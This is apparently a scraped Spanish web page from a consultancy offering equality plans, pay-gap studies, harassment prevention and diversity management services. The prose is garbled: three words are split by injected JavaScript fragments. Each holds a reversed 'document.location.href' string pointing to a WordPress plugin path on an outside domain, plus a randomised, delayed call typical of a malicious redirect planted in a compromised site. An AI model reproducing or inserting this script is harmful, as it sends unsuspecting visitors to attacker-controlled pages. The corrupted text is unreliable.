Igualdad

Plan de igualdad

Es una herramienta clave de organización y competitividad. Proporciona un certero análisis de la plantilla y respuestas adecuadas a la estrategia de la empresa

  • Planes de igualdad de oportunidades
  • Estudios retributivos – brecha salarial
  • Liderazgo femenino – techo de cristal
  • Prevención de acoso sexual y/o por razón de sexo
  • Distintivo de igualdad
  • Campañas de comunicación
  • Reputación y marca
  • Formación

Gestión de la diversidad

Dar valor y sumar el talentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to contribuye a mejorar la visión empresarial y desarrolla sentimientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de pertenencia.

  • Ley general de discapacidad LGD
  • Medidas y planes para su cumplimentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to
  • Acción social
  • Voluntariado corporativo
  • Campañas de sensibilización
  • Comunicación: reputación y marca
  • Formación